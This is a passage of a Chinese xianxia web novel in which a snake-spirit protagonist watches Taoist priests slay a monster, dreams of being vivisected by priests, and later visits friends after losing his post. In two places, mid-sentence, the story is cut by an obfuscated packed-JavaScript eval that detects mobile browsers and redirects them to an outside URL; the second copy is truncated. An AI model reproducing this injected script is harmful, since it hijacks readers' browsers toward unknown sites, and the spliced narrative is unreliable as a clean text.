他没有什么想法,只是独自默默地走着,不知不觉,竟又来到了西市附近,不过天色已晚,夜晚的市集早已经散去,只有零星的灯火,和偶尔更夫敲梆的声音。 现在,茶摊也收了,徐伯大概早已歇下。 (此章节内容源自作者想法及部分亲身经历……) 17. 道士诛邪 秦云意站在空旷的街口,就在百般无奈之时,他兀地想起白日那茶寮老板的话,又想起那林子里的血腥气,和掏心案…… 有了。 他眼神一动,身形顿时扭曲,如一道淡不可察的影子般掠过寂静的街道,朝着城外十里铺方向疾行而去。 此刻,月色昏暗,周围遍布黑黢黢的田野和树林,秦云意故意将妖力收敛到极致,只保留最基本的夜视和感知,悄无声息地接近了那片林子:这林中比白日更加寂静,连虫鸣都稀少,只不过在空气里,那股极淡的腥气似乎更加明显了些,还夹杂着一丝令人不安的甜腻之味。 秦云意放轻脚步,缓慢降临在林中,那双竖瞳在黑暗中微微收缩,迅速捕捉着周围气息和动静,他同时来到白日发现血迹的老槐树附近,却猛地发现,其中血迹残留的气息,似乎更加清晰了, “咕噜……咕噜……” 一股极其轻微的,仿佛是什么动物吞咽口水的声音,正从林子更深处传来。 秦云意神经瞬间绷紧,他将气息完全用术法隐匿,随后朝着声音来源缓缓移动——前方是一小片空地,月光透过稀疏的枝叶,勉强在地上投下颗颗光影。 好巧不巧,在这片空地的中央,正蜷缩着一个黑影。 那黑影约莫半人高,体表是暗褐色,形态有些扭曲,似乎像人形,似乎又不像,他身躯佝偻着,四肢着地,像某种大型的犬类或猿类,此刻,它正背对着秦云意,肩膀始终微微耸动,还发出“咔嚓、咔嚓”的咀嚼声。 空气中弥漫着浓烈的血腥味。 秦云意定睛一看,终于发现了其中端疑——这怪物!在它身前的地上,散落着些许并不属于他的破碎的衣物,还有它的手中和嘴中,也分别有着几团不成形状,扭曲怪异的东西…… 该死的,人体组织?这是尸体! 出于谨慎,秦云意没有立刻动手,而是仔细观察。因为……这怪物身上的气息非常古怪,它肢体不算发达,肌肉相当于修行几十年的小妖,力量也似乎并不怎么强,但…… 它的炁,为何会与之前“窫窳”仿品极为相似?如果说是正常修行,哪怕只靠着偷香火和吃人,也不可能会练就这么奇怪的炁! 不过那怪物似乎吃得正专注,并未察觉身后秦云意的窥视,秦云意于是悄然抬手,从指尖凝起一缕极细的妖力,准备先将其禁锢,再逼问来历,或许还能揪出幕后黑手。然而,就在他即将出手的刹那—— “咻——!” 先是一道尖锐的破空声划破夜晚,紧接着,一道炽烈的金光自林外疾射而来,快如闪电,直取那怪物的后心。但那怪物反应极快,只是嘶吼一声,猛地向旁翻滚,金光便擦着它的肩头掠过,击在地上,“轰”地炸开一个小坑。 “大胆孽障!还不伏诛!” 一声清朗的男声响起。 须臾之间,一道青影微闪,正是那青袍道人,他眉毛浓厚,下颌线条硬朗。现在他出现在空地边缘,手持一柄闪着金色光芒的桃木剑,眼中蕴藏冰冷的杀意。 秦云意到抽一口凉气,立刻屏息凝神,将身形彻底隐入阴影,紧接着,他便看见天空中又落下两个身影:一样的道袍,一样的长发,一男一女,只是年纪与此人相比要稍稍小些,体格更像是少年。 竟然是一群道士?他惊讶地瞪大眼睛。 那怪物显然认出来者不善,随即发出一声惊恐的咆哮,但它似乎有些忌惮,不敢扑上,反而四肢着地,只是拖着受创的左肩缓缓后退,猩红的眼睛在黑暗中闪烁不定。 “哼,区区秽物,也敢为祸人间,残害生灵!” 青袍道人冷笑着,手中桃木剑一挥,剩下两个弟子双手翻飞结印,之后,数道金色的符箓凭空显现,它们共同结成一张光网,直直朝那怪物罩去。 眼见自己示弱无果,怪物厉声尖啸,身上猛地爆开一团黑红色的能量,竟硬生生撞破了道人尚未合拢的光网,转身就朝林子深处逃窜。 “想跑?” 几位道人脚步一踏,身轻如燕,朝那怪物紧追而去,青袍道人立于中央,手中桃木剑向天一指,剑气便化作一道青色光柱冲天而起,金气直接劈开那怪黑红色的浊气,直刺对方背部, 怪物发出绝望的咆哮,它意识到自己已无路可逃,于是猛地人立而起,右爪膨胀变巨,朝着看似最年轻的道士猛扑过去,做困兽之斗,同时,它张开巨口,一股腥臭扑鼻的黑红色血雾喷涌而出。 “雕虫小技。” 青袍道人冷哼一声,左手捏了个剑诀,凌空一点,血雾便霎时被拨开,露出其中藏着的本体。 “就是现在!”青袍道人厉喝道。 紧接着,三位道士双手一合,成了阵法,那光顿时结成一道光环,牢牢套住妖兽的脖颈,就在此时,那青袍道人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153442|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向前一步踏出,身形虚晃,瞬间出现在怪物身前,手中桃木剑直直刺进其胸口,正好是那浊气最甚,内里丹田之处。 “太上有令,邪祟灭形!急急如律令!破!” 随着这一剑刺入,那怪物庞大的身躯轰然爆开,只不过,没有秦云意上次所见的血肉横飞,只是化为青烟,缓缓消失不见了,而从三人出现到怪物伏诛,也只不过短短数息时间…… 秦云意自嘲般笑了笑。 两名年轻道士见怪物已除,稍稍松了口气,刚准备离开,便被青袍道人抬手拦住,他缓缓收回桃木剑,站在原地,缓缓扫视着周围的黑暗,尤其是……秦云意深藏的地方。 秦云意无奈地挑起眉毛——这道人的灵觉果然敏锐得可怕,现在莫不是真发现我了? …… “藏头露尾……妖孽同党?” 青袍道人开口了,他的声音不高,却清晰地传遍了整个林间空地,还带着一股居高临下的风味。 “观阁下隐匿之法,颇为精妙,非寻常山精野怪所能为。莫非……是这食人秽物的同党?或是觉得,我师徒三人,斩妖除魔,碍了阁下的事?” 这话,显然不是说给已经魂飞魄散的怪物听的。 秦云意静静地听着。 见无人回应,青袍道人倒也不以为意,只是眼神中的寒意又多了几分,他抬起左手,掌心间不知何时多了一枚古旧的青铜罗盘,它的指针微微颤动,接着成功指向了秦云意所在的大致方位。 “妖气虽淡,却精纯古老,隐有龙蛇之相……看来是条有点道行的大妖。” 此番话,青袍道人像是在自言自语,又像是故意说给隐藏的秦云意听。 “今夜诛此秽物,不过是顺手为之。这曲阳地界,近来不太平,妖氛暗涌,人命案频发……不管你是何来历,在此地盘踞,最好安分守己。”他顿了顿,接着声音陡然转厉,一字一句,掷地有声。 “若让贫道知晓,你与这些害人妖邪有所牵连,或敢效仿此獠,为祸一方,残害生灵……无论你藏得多深,修为多高,贫道手中这柄‘诛邪剑’,定会寻上门去,斩你妖身,灭你魂魄,让你永世不得超生!哼,好自为之!” 说完这番毫不掩饰的警告与威胁,青袍道人收起罗盘,不再停留。他冷哼一声,招呼着自己审身旁的两位徒弟,三人一同消失在了月色之下。 …… 18. 梦魇 待在十里铺城郊破庙歇脚时,秦云意做了个怪梦。 梦里,血,全都是血,还有黑暗——粘稠的、深不见底,布满一切的黑暗,如混沌般笼罩了整个洞穴。 秦云意睁开眼睛,或者说,他以为自己睁开了眼睛,因为他的视野里其实什么也没有,只有黑压压的一片,此刻,他的双手双脚被反捆在石壁上,双膝跪地,四肢酸胀沉重,本来他还想动一动手指,试图挣扎一番,但随即他却发现,自己根本不是被“绑”,而更像是被什么东西紧紧地“箍”住了。 他低头向下看去,凭借灵觉“看”见了满身的金属锁链,链上刻满符文,大大小小,密密麻麻,正泛着幽微的莹光。 借这点光,他总算勉强构建出了自己的位置:一个天然的石洞,约莫三丈见方,洞顶还倒悬着钟乳石,水珠从石尖滴落,一滴一滴,恨恨砸在地上的水洼里。 滴答,嘀答…… 是梦么?秦云意恍惚地想,毕竟这滞重的触感,石壁,还有锁链深入骨髓的寒气……未免也太过真切。 “醒了?” 就在这时,一股声音从黑暗深处传来,在这阴森地穴中显得格外突兀。 秦云意猛地抬头,晕眩感顿时如潮水般冲击着大脑。他听见有人喊什么“时辰将至,灵韵将成”之类的话,但这朦胧的声音,根本不只是一个人,倒更像是很多人同时在呓语,无论男人、女人、老人还是小孩,所有的声线重叠在一起,絮絮叨叨,又干又哑,不知道在说些什么。 痛苦。 秦云意努力聚焦视线,试图能从那黑暗中辨别出什么,但头中所传来的晕眩感几乎让他无法保持思考,他隐约看见,从那石洞的另一端,正缓缓亮起几团青绿色的光,那光悬浮在半空中,幽幽地如同魍魉,竟照着他直直飘来。 是四个道士。 刚才的青色幽光原是他们所发,只是他们愈靠近,秦云意愈发觉得头痛欲裂,他张了张嘴,却发现口中也被绳索勒紧,那喉咙就像是被什么东西堵住了一般,根本发不出任何声音。 是咒法。 待道士们走近后,秦云意终于看清——这些道士,所有人都穿着青色的道袍,袍子很旧,袖口和袍角都被磨出了毛边,身上还沾着大片大片暗褐色的污迹……秦云意的鼻子很灵,他立刻闻出来了——那是血。 而且,不只是一般的血,是人血、妖血、还有别的什么说不清道不明的秽物的血,共同混合在一起,由于浸透了布料,又被时间风干,才成了这种丑陋的颜色。 在这四人中,首位便是个瘦高道士,他看起来不过三十许人,面若冠玉,目如天光,两只长眉斜飞入鬓,头发则用一根上好木簪束起,只留几缕散发垂在颊边,更添几分出尘之气。 “真是……几百年的山君呀……”瘦高道士开口了,嗓音温润,却让秦云意脊背生寒。 “不错,不错……灵气精纯,难得,实在难得。” 他拿起手中的玉刀,朝前走了两步。 道士的到来也带来了些许光亮,等视线差不多变清楚之后,秦云意这才看清周遭环境:这石洞的地面并不是天然岩石,而是……而是用整块整块的青石板铺成的,同时石板上也刻满了金色的符文,和他身上锁链的一样,只是更大、更为复杂……在他的周遭还按身位各摆有七盏油灯,灯盏是青铜的,锈迹斑斑,火苗在其中燃烧,竟与之前和那团青光一模一样,火光摇曳,在石壁上投出一个个扭曲的阴影。 “毋忌师兄,时日将到,要论时候,子时阴气最盛。”在他右前方另一个道士说。此人比瘦高道士年轻些,生得一双桃花眼,面色红润,嘴角含笑,若非身着道袍,倒更像是一位风流名士。他手捧一个翠绿玉钵,钵内盛着某些清亮如泉的液体,很稠,随这道士的动作下微微荡漾,显得神秘莫测。 秦云意用余光看向钵中的液体,身体不禁打了个寒颤——不,这绝对不是什么好东西! 难道,这并非是梦境? “嗯。”被称作“毋忌”的男人淡淡应道,目光仍锁在秦云意身上。 “阵眼稳固,灵锁已深植其妖脉——可以开始了。”他对众人说。 左侧一直沉默的道士,听闻这话,此时也缓缓抬头,他是个驼背,却目光迥然,他手里拿着一卷竹简,正用炭笔在上面写着什么,写得倒是很认真,一笔一划的,嘴里还念念有词。 当然,这里还有一位道士。 最后是那位立于稍远处的道士,身上气质是最为温润的,亦嘴角带笑,令人如沐春风。只不过与其他人相比,他手中空无一物,只静静站着,但秦云意能感觉到,他才是布置此阵法的“阵眼”。 只不过,坏消息是,他现在能看、能听、能闻,却说不了话,也调动不了一丝妖力,唯独丹田里的内丹还在。那颗凝聚了他多百年苦修的精元,此刻,正以一种异常缓慢的速度旋转着,每转一圈,就释放出一点微弱的灵气,仿佛竭尽所能,若在平日,这些灵气本该流转全身、滋养妖体,可眼下它们刚溢出丹田,就惨遭周围符文吸食殆尽,那些金色符文如无数张贪婪的嘴,每吮吸一口,金光便亮一分,而他的身子便虚一分。 他们在炼他。 温水煮蛙,不正如是?可若这是梦,那这被寸寸抽空的虚弱感,怎会如此清晰? “上百年啊。”此刻,最远处那温润道士轻声叹道。 “寻常妖怪,就算不吃人不害命,光靠吸收日月精华,修满百年亦难如登天。可这位山君,怎就偏偏修成了呢?” “因他占了一座好山。”毋忌道士开口,玉刀在空中虚划一记。 “曲阳城南五十里,那座白山,你们之前去过的,那山山如龙盘,水如凤舞,乃是方圆三百里内灵气最盛的宝地,没想到,这妖物居然占了那山,当了山君,受尽整山生灵供奉,这才修得如此之快。” “那……那座山?” “自然是归我们了。”毋忌笑了。 “待取了他的内丹,炼成长生丹,我们就去占了那山。以后那里就是我们的道场,不出百年,你我师兄弟等人皆可得道飞升。” 得道,飞升。 这几个词让另外的道士们都抬起了眼。 “毋忌师兄。”驼背道士开口了,他终于停下了笔。 “如此说来,山上的其余生灵……是都已处置干净了?” “干净了。” 毋忌说得轻描淡写。 秦云意的心脏猛地一缩。什么?处置干净?这里究竟是梦,还是现实? “里面有一只豺狼,我和充尚师兄去看了。”桃花眼道士接话,语气竟带着几分炫耀。 “那狼倒也凶悍,临死反扑,竟咬断了充尚师兄半幅袖子。不过可惜,它终究敌不过我的药散——那药粉沾皮即溃,见血融筋,洒在它身上,我们就直直看着它从四肢开始,一点一点地化掉,先是皮,再是肉,最后连骨头都酥成了渣,哀嚎了足足半个时辰才断气,最后地上只剩内丹,哎呀。” 药散……内丹…… 秦云意眼前顿时浮现出那只陪伴着他的豺狼,难道它真的……不,这是梦!必须是梦! “还有那蛇,一条赤红色的蛇。”桃花眼道士兴致盎然地继续道。 “那蛇真是滑溜,头都快砍断了还能逃,我俩追了它半个山头,最后将它困在石缝里,它说愿给我们当坐骑,只求饶命,我说不用,你这一身蛇皮不错,不如剥下来给我们做法器……” …… 秦云意开始发抖。这不是害怕,是愤怒,还有……绝望。 如果这是梦,为何每个细节都刻骨铭心?如果这不是梦,那为何…… 他拼命挪动着身体,想挣断锁链,甚至还想扑上去咬断这几个道士的喉咙。可锁链纹丝不动,那符文吸光了他所有的力气,他连抬起一根手指都做不到。最后,他只能听,眼睁睁地听他们用那般轻松的口气,讲述如何屠尽他的同族。 “还有一只鸱呢。”毋忌道士补充道。 “那时我与你们分开,去追这鸱,它倒有骨气,不逃不求饶,就在崖顶上站着,我一剑劈过去,它不躲,硬生生用身子接了,临死前还朝北边看了一眼……” 鸱…… “对了对了,还有,那个石公最省事。”那个最爱笑的道士补充道。 “我只是投了三十张五雷符,将它所在的地面全数炸开,那老东西被炸得四分五裂,少说有十八片。我捡了最大一片,预备炼个器皿或石具之类的……” 石公,连它也…… 紧接着,他们又说了很多,一桩桩、一件件,将白山共计三十一种精怪的死法全部说了个遍。 一个接一个的死法。 如果这是梦?真的会有如此脉络清晰,细节详尽的噩梦吗? 秦云意听不下去了,他感到自己的神识在清醒与狂乱间反复拉扯,他闭上眼睛,但那些声音还是直直往耳朵里钻,像什么寄生虫一样。 全都死了,全都死了……! 山上那些陪了他几十年、几百年的同族,那些会在月下陪他喝酒,会在给他送果子,会在必要时替他护法的朋友、家人……全都死了!死得干干净净,死得凄凄惨惨! 而他被锁在这里,什么都做不了。 “时辰到了。” 被称作毋忌的瘦高道士,站直身体,沉声道。 子时三刻已到,这是阴气最盛,阳气最衰的时刻。 桃花眼道士见状,立刻端着玉钵上前几步,把它放在了圆阵的边缘,正对着秦云意,另一边,驼背道士也站了起来,他把那卷竹简收进袖子里,从背后抽出一柄桃木剑。这剑是新的,还没染过血,木头纹理清晰可见,但剑身上被他用朱砂画满了符咒,那些红色的笔画在莹光下,就像一条条扭动的、滑稽的蚯蚓…… “开始吧。”毋忌说,他走到秦云意面前,蹲下身。 “别担心,很快的。我这把白玉刀是师祖传下来的宝贝,锋利得很,一刀下去,你还没感觉到疼,内丹就出来了。”他故作安慰道。 秦云意低着头,一言不发。 时候到了,他举起刀,刀尖就悬在秦云意丹田上方三寸的位置,后者甚至能感觉到刀锋散发出来的寒意…… “不过在此之前……”毋忌突然话锋一转,“得先把你这一身妖血放干净。若妖血污秽,沾了内丹,恐会影响药性。” 他朝桃花眼道士使了个眼色。 桃花眼道士不急不忙地从怀里掏出一个瓷瓶,拔掉塞子,往玉钵里倒了些白色的粉末。这粉末一遇钵里的液体,立刻沸腾起来,咕嘟咕嘟冒着泡,使得味道更加浓郁了。 “这是‘化血散’,专门化妖血的。等会儿毋忌师兄会在你心口开个小口,你的血就会自己流出来,流进钵里,等血一流干,你这身皮囊也就废了,到时候取丹更容易。”他好心地向秦云意解释道。 这家伙,他说得那么理所当然,那么轻描淡写,仿佛是普通民众在说如何杀一只鸡。 秦云意死死瞪着他。 “哎呀,别这般看我,这都是命运,天意。”对方摆摆手。 毋忌道士听闻,只是笑了笑,随后伸出左手,按在秦云意心口,似在探寻什么。 “位置不错。”他喃喃自语,“心窍通透,血脉纯净——不愧是正修的山君。” 刹那间,他右手玉刀一转,刀尖下移,抵住了秦云意心口的皮肤。 冰凉、刺痛的触感——刀锋划开了第一层皮。 血…… 伤口处,不断有金红色的妖血随着口子剖开从而渗透而出——这是修行有成的妖血,蕴含着灵气。 “哎呀!好血!”桃花眼道士兴奋地叫起来,“毋忌师兄你看,这血金灿如阳!炼出来的丹肯定大有用处!” 毋忌道士没理他,只是专注地划着刀,他的刀锋很稳,寸寸下切,秦云意还能清楚地感觉到金属一步一步切开皮肉,割开脂肪,最后抵在肋骨…… …… 更加惊悚的是,他用灵觉,竟然看见自己的胸口被剖开了,看见肋骨被一根根撬开,还看见自己那颗为“人”的心脏暴露在空气里——这心脏也是红色的,每跳一下,就泵出一股血液,哗哗流进玉钵。 钵中液体沸腾得更剧了。 随着时间的推移,妖血越流越多。秦云意感觉到自己的生命力正在飞速流逝,他的视线开始模糊,耳中声响越来越远,身体越来越轻,像是要飘起来…… 要死了吗? 就这样死了? 死在这个不见天日的石洞里,死在这几个道士手里,死得这么痛苦,这么绝望? 不甘心。 他怎能甘心。 就在几百年前,他还只是一只灵蛇,是那座山孕育了他,是山间的灵气点化了他,是日月星辰照耀了他,同伴鼓舞了他,于是他花了上百年,才从一只妖修成山君,才得了人身,开了灵智,才懂得什么是善恶,什么是道义…… 他从来没害过人,非但不害,他还同情人、拯救人,而他做这些,也并非是想当什么圣人,只是觉得自己该做。 我是妖怎么了?妖就不是生灵了吗?妖就不能有自己的道吗? 可现在呢? 现在他被锁在这里,血快流干,同族死绝,几个道士如讨论晚宴般讨论怎么取他的内丹,讨论怎么炼长生药、占他的山…… 天道? 天道又何在??? 秦云意想笑,却笑不出来,那血已涌到喉咙,他只稍一低头,血便开始从自己的口中流淌而下。 “差不多了。”毋忌说道,他抽回玉刀。 另一边,桃花眼道士也凑过来,他眼巴巴看着玉钵:这这钵里已经积了半盆金红色的液体,现在还在隐隐沸腾,在这液体的表面还浮着一层金色薄膜,那是血里的精华凝洁成的“血精”。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一双眼睛浮现而出。 这眼睛,是混浊的,黑色的,是一望无际、深不见底的黑,此刻,它燃烧着滔天的怒火与恨意,那恨意如此纯粹、如此暴烈,仿佛要焚尽世间一切不公与虚伪…… 秦云意当然也看见了那双眼睛,好熟悉,它熟悉的就像是…… “嘶啊!!” 一声震耳欲聋的咆哮自洞顶轰下,声波死死砸在三个道士身上,将众人钉倒在地,毋忌手里的玉刀也随之“当啷”脱手。另一处,驼背道士欲跑,但刚转身,便被一只从黑暗中伸出来的巨风掀翻,狠狠撞在石壁上。 这是一头蛟,一头无角,有鳞,有羽的恶蛟。 它通体覆盖着红黑色的鳞片,每一片都有巴掌大,边缘锋利如刀。蛟首低吼,那吼声里浸透的恨意几乎要让空气都为之颤抖,它抬起尾巴,重重甩向墙壁,那驼背道士连惨叫都未发出,便被压扁成了一滩肉泥,碎肢鲜血溅了旁边笑意道士满脸。 “什……什么。”笑意道士愣住了,紧接着,那蛟尾如铁板再直,之后,他也被一尾打在地上,胸膛凹陷,嘴巴往外吐出血泡,不一会就没了动静。 毋忌见好友惨死,终于开始怕了,只不过他竟忘了反抗,转身想跑,却与桃花眼道士一起被飓风卷出山洞,然后精准地落进那怒张的、布满利齿的血盆大口里。 石洞重归死寂,唯余火焰噼啪,与血滴落地的轻响,丹药瓶、符箓、玉佩、铜钱……这些家伙乱七八糟撒了一地,只留满地狼藉。 锁链解除,秦云意瘫倒在地上,血仍然在流,他挣扎着睁开眼睛,看着洞顶那个大洞,看着烟尘缓缓散去,露出那双黑色眼睛的主人,那恶蛟低下头,充满恨意与不甘的双瞳对上了秦云意的眼睛。 很熟悉,太熟悉了,熟悉到……这仿佛就是他自己的眼睛。 蛟未言语,许久只盯着他,眼神复杂——有怜悯,有悲哀,但更多的是那快要冲破天际的愤怒与恨意。 …… 秦云意终于明白了:这条恶蛟,就是他自己。 “你看清了。” 它开口说道。 “这就是人心。” “他们今日能为内丹杀你,明日便能为他物屠戮更多生灵。贪婪无尽,欲望无餍!” “你想救他们?想改变这个世道?” “做梦!” 那恶蛟的咆哮陡然拔高,声浪几乎掀翻洞顶残石。 “救?改变?就凭你那点可笑的怜悯和规矩?你说你守的山,你不害人,你讲你的道义!结果呢?看看你现在的样子!看看你周围同族的血!你的规矩救得了谁?你的道义又能挡得住谁的刀?!” 秦云意听闻,如遭重击,那蛟的话语竟直刺他心中最脆弱之处。 “人心?世道?从来就是弱肉强食!从来就是强者定规,弱者服膺!你妄想以妖身行人道,以仁心渡贪欲,简直是天下最大的笑话!” 那蛟的喉咙里发出愤恨与不屑的诡异尖叫,它庞大的身躯在黑暗中扭动,眼中浓郁的恨意化为实质,从它周身弥漫开来。 “你想救的,不过是些救不完也填不满的无底洞!你以为救了这一个、那一村,他们就会铭记恩情、奉你为神明吗?痴心妄想!今日你为他们驱了虎、除了害,他们感恩戴德,明日若天旱无雨,颗粒无收,他们便会疑心是你这‘山君’作祟,将你架上祭台!后日若有旁人稍加挑唆,许以金银,他们就能毫不犹豫地将你推下断头台,用你的血、你的骨,去换他们三日的饱饭、半尺的布帛!“ 它讥讽地笑道。 “最终,你的善,填不饱人心深处的欲壑你的忍,只会让贪婪之辈得寸进尺,视你软弱可欺!你立下规矩,不去害人,可这规矩除了捆住你自己的手脚,还能捆住谁?等你被这自缚的绳索勒得喘不过气,被所谓的道义压垮了脊梁,那些你曾救过的人,他们只会围在台下,看着你流血,甚至还会嫌你的血溅脏了他们的新衣!” “看看这四周吧!看看你的同族,你的山林,你珍惜的一切,不就是被这所谓的人心碾碎的?你又救得了谁?你谁都救不了!你只会把自己也搭进去,成为这无底洞的下一个祭品!你的仁慈,最终只会变成绞死你自己的绳索,而这绳索的另一端,就握在那些你曾想拯救的人手里!” 蛟的尾猛地扫过地面,将道士散落的法器击得粉碎。 “看见了吗?这才是真实!力量才是唯一的真实!我的路,才是对的!” 蛟的双眼死死盯住秦云意,那里面翻涌着疯狂,与一种近乎偏执的“正义”。 “你,惟有以杀止杀!以血还血!用绝对的力量碾碎所有敢伸爪子的东西!把恐惧烙进他们的骨髓里!让他们的贪婪在绝对的力量面前颤抖、灭亡!这才是保护!这才是公道!这才是我们该走的道!” 这蛟,不像是来点化,也不像是来救赎他的——它就是纯粹的恨意。 “所以,你那些天真的念头,趁早给我扔了!要么,就像现在这样,死得不清不白,死的毫无价值,你就……” “活下去!” 话音落下,蛟怒吼一声,身躯开始消散,从尾巴开始,一段一段地化作黑雾,飘散在空气中…… …… (作品群标准角色梦境章节来了……) 19. 此身不白 “呼……呼……” 秦云意猛地从梦中惊醒,整个人竟直挺挺地坐了起来,他大口大口地喘着气,胸口剧烈地起伏着,像是刚刚被无形的手攥住了一般,极其的难受。 “这……这是……” 他抬手按住额头,待手指触到一片冰凉的冷汗后,他这才发现自己连里衣都已经被汗水浸湿,那衣服和汗水全都湿漉漉地贴在背上,黏腻得难受。 原来……这是一场梦。 秦云意缓缓吐出一口浊气,连忙把手掌按在心口,他能感觉到心脏在那里跳得又急又重,一来二去,只是“砰、砰、砰”地来回撞击着胸腔。至于刚刚那道士和那蛟的诛心之言……它们似乎还仍在他耳边回响,就像冰碴子一样死死扎在他灵魂深处,那股寒意怎么也散不掉。 过了一会儿,他的呼吸终于慢慢平复下来,待稍作恢复之后,秦云意终于稳住身子,开始环顾四周:这里是城隍庙,是他前天离开在十里铺那块找到的落脚处,这破败的庙堂里,光线十分昏暗,正中的神像业已经看不清面容了,但那股子属于“正统神灵”的香火气仍然还在,混着尘土和枯草的味道,一起飘散在空中。 他闭上眼,深吸一口气,定了定神,仔细感受着自己身体里的状况——不错,没有像梦里描述的那样,自己的内丹现在很安稳,灵力流转也顺畅,没有异样,这里没有什么道士,也没有满地的鲜血,至于刚才那些可怕的景象,其实都不存在。可是他的指尖还在微微发抖,其原因还是那场梦——它实在是太过清晰了,清晰得让他现在回想起来,手心还是一片冰凉。 …… 秦云意在破庙阴影里坐了不知多久,直到第一缕晨光从屋顶破洞刺入,他这才缓过神来,而远处,十里铺早市的喧嚣也渐次苏醒,虽然这里没有曲阳那么富裕,但吆喝、吵闹、哭喊……这儿的烟火气依然还在,终于把他从梦魇的余烬里生生拽了出来。 可他知道,有些东西在发生后,总是还是不一样了。 那场梦太真实,真实到像是某种……预兆。那梦里,道士、炼妖、同族惨死……这些会是将来某日真正降临的灾厄吗?还是说,这仅仅是他对自己此刻处境的扭曲映射? …… 秦云意深吸一口气,他用手撑着头,开始梳理自己的现状。前几日,由于王长史和徐县丞的施压,蓝主簿与郑县尉的虎视眈眈,他最终被迫卸职,成了白身,可如今,城中暗流涌动,战事愈紧,怪物潜伏,还有某些立场不明的道士……而他自己,如今已了无官身,不仅失去了县衙的庇护与便利,却还要面对之前许下的诺言,以及世间更为复杂的局面…… 啊,这可真是…… 直到日头又升高几分,秦云意这才开始动身,他换上了一身像穷书生般的靛蓝布料,戴上一顶宽檐斗笠,压低帽檐,如同游魂般悄无声息地滑入曲阳城,他走在街道上,不时看向四周,虽然一切看似如常,可秦云意还是能敏锐地察觉到什么,他看见衙门门前似乎已排起长队,即便周围有很多差役斥喝,但人们面对布告栏仍旧交头接耳,指指点点,脸上写着忧虑、惋惜,与不安。 “你看了吗?文书房的秦主事,被撤职了!”有人惊讶地说道。 “哪个秦主事?哦……就那个长得忒俊的后生?” “对,就是他,他这么好,体恤民众,结果最后还被撤了!” “可惜了,我也瞧着这是挺和气一人……” “要我说啊,和气又顶什么用?这世道,得有权有势。听说他得罪了上头,王长史亲自来施压,那你说,他能不倒吗?” “哎呀,哎呀,官场上的事,说不清。反正跟咱们小老百姓没关系,我还得回去种田呢!” “没关系?哼!要不是秦主事帮我们想出那些救民的法子,你说说,之后我们还有粮吃吗?” “你这家伙,说什么呢?谁当官不都一样?该交的粮一粒不少,该服的役一天不短!” …… 人们议论着,丝毫没有注意到秦云意早已出现在他们身边,只不过秦云意并未回复,他只是压低斗笠,绕开主街繁流的人群,穿过后巷。 他步履很快,偶尔在巷子里有早起的住户开门泼水,见到这位身形挺拔、戴着斗笠看不清面容的生人,也只是好奇地瞥一眼,便又关上了门。 他来到了西市后巷徐伯家的门前——今天他未出摊,秦云意本来还在犹豫,但他听见门内传来一阵撕心裂肺的咳嗽声,咳得仿佛要将肺都掏出来,紧接着,便是徐伯老伴带着哭腔的埋怨,和阵阵不停拍背声。 笃——笃——笃。他终究还是敲了门。 里面的咳嗽声为此停了片刻,之后,徐伯沙哑而警惕的声音从门内传来。 “谁啊?今天不出摊!” “徐伯,是我。”秦云意压低声音,但确保里面人能听出是他。 门内响起一阵窸窣和低语,等了片刻,那木门终于开了一线,徐伯那只独眼正在门缝后警惕地打量,看清是他,愣了愣,眼中又随即闪过惊喜,他迅速左右张望了一下,一把将秦云意拉了进去,又飞快关上门。狭小的院子里堆着些杂物,还晾着几件打补丁的衣裳。徐伯的老伴靠在里屋门框上,眼睛红肿,看到秦云意到来,嘴唇动了动,却没说得出话。 “秦主事?您这是……”徐伯咳嗽几声,上下打量他,其实,他已经猜到了是什么原因。 “徐伯,往后莫叫主事了。” 秦云意走进狭小的院落,扯出个苦笑。 “我已卸职,如今是白身,至于您,您病了?怎么咳得这么厉害。” 徐伯眼中闪过一丝了然,沉默着引他到屋内唯一一张旧木桌旁坐下,倒了碗粗茶。 “老毛病了,入秋就犯,不碍事。” 徐伯摆摆手,结果在他倒茶时,又是一阵闷咳,他脸憋得通红,好不容易才平复下来。 “秦先生,您……咳咳,您别怪小老儿多嘴,就昨天那阵势……您是不是得罪了上头的官老爷?” “无妨,这官……不做也罢。” 秦云意淡淡地说道,之后,他从怀中取出一个不起眼的粗布小包,递给了徐伯过去。 “这里面是些银钱,还有我昨夜写的一些调理咳喘的方子——近些日子,秋咳甚多,百姓大多没有合适的药方根治,而这些用的都是寻常草药,集市上应能买到,您收好,近期莫要出摊了,好生在家休养,如之后有必要,您可以把药草与茶混合,用来卖,既能让老孙李匠人等人慢慢喝好,还可多赚些闲钱……” 语毕,徐伯愣住了,他看着那布包,手颤了颤,却没接。 “咳咳……这怎么行!秦先生,您自己现在……咳咳,不行,小老儿不能要您的钱!” “拿着。”秦云意将布包不容置疑地塞进徐伯手里,他迎上对方的目光,眼神清澈坦荡。 “您这段日子以来的照顾,我记得,至于这些钱,就当是茶资。” 徐伯的眼眶瞬间红了,他攥着布包,嘴唇哆嗦着,最终只是重重叹了口气。 “那,秦先生……您,您要保重啊!这世道……唉!” 屋内寂静了片刻,两位老人此时都红着眼看着他。 秦云意点了点头,心中一酸,没再多言,只是重新戴上斗笠——他该走了,假如他留在这里越久,对徐伯一家可能越是不利,他此番前来,也只是想了却一桩因果,最后给曲阳城带来一点善意。 因为他之后……可能要去别的地方了。 “徐伯,保重。”秦云意低声说了一句,转身拉开门,而他身后,木门轻轻合拢,秦云意听见了那声悠扬的叹息。 接下来,该找周三了。 秦云意左晃右晃,终于绕到码头附近,在一处堆满货箱的角落里找到了正蹲在那儿等活儿的周三,那周三嘴里叼着根草茎,正百无聊赖地数着地上爬过的蚂蚁。 听见脚步声到来,他懒洋洋抬头,结果就看见秦云意这身打扮,惹得他先是愣了愣,随即立刻站了起来。 “秦……秦主事?您……您这是……” 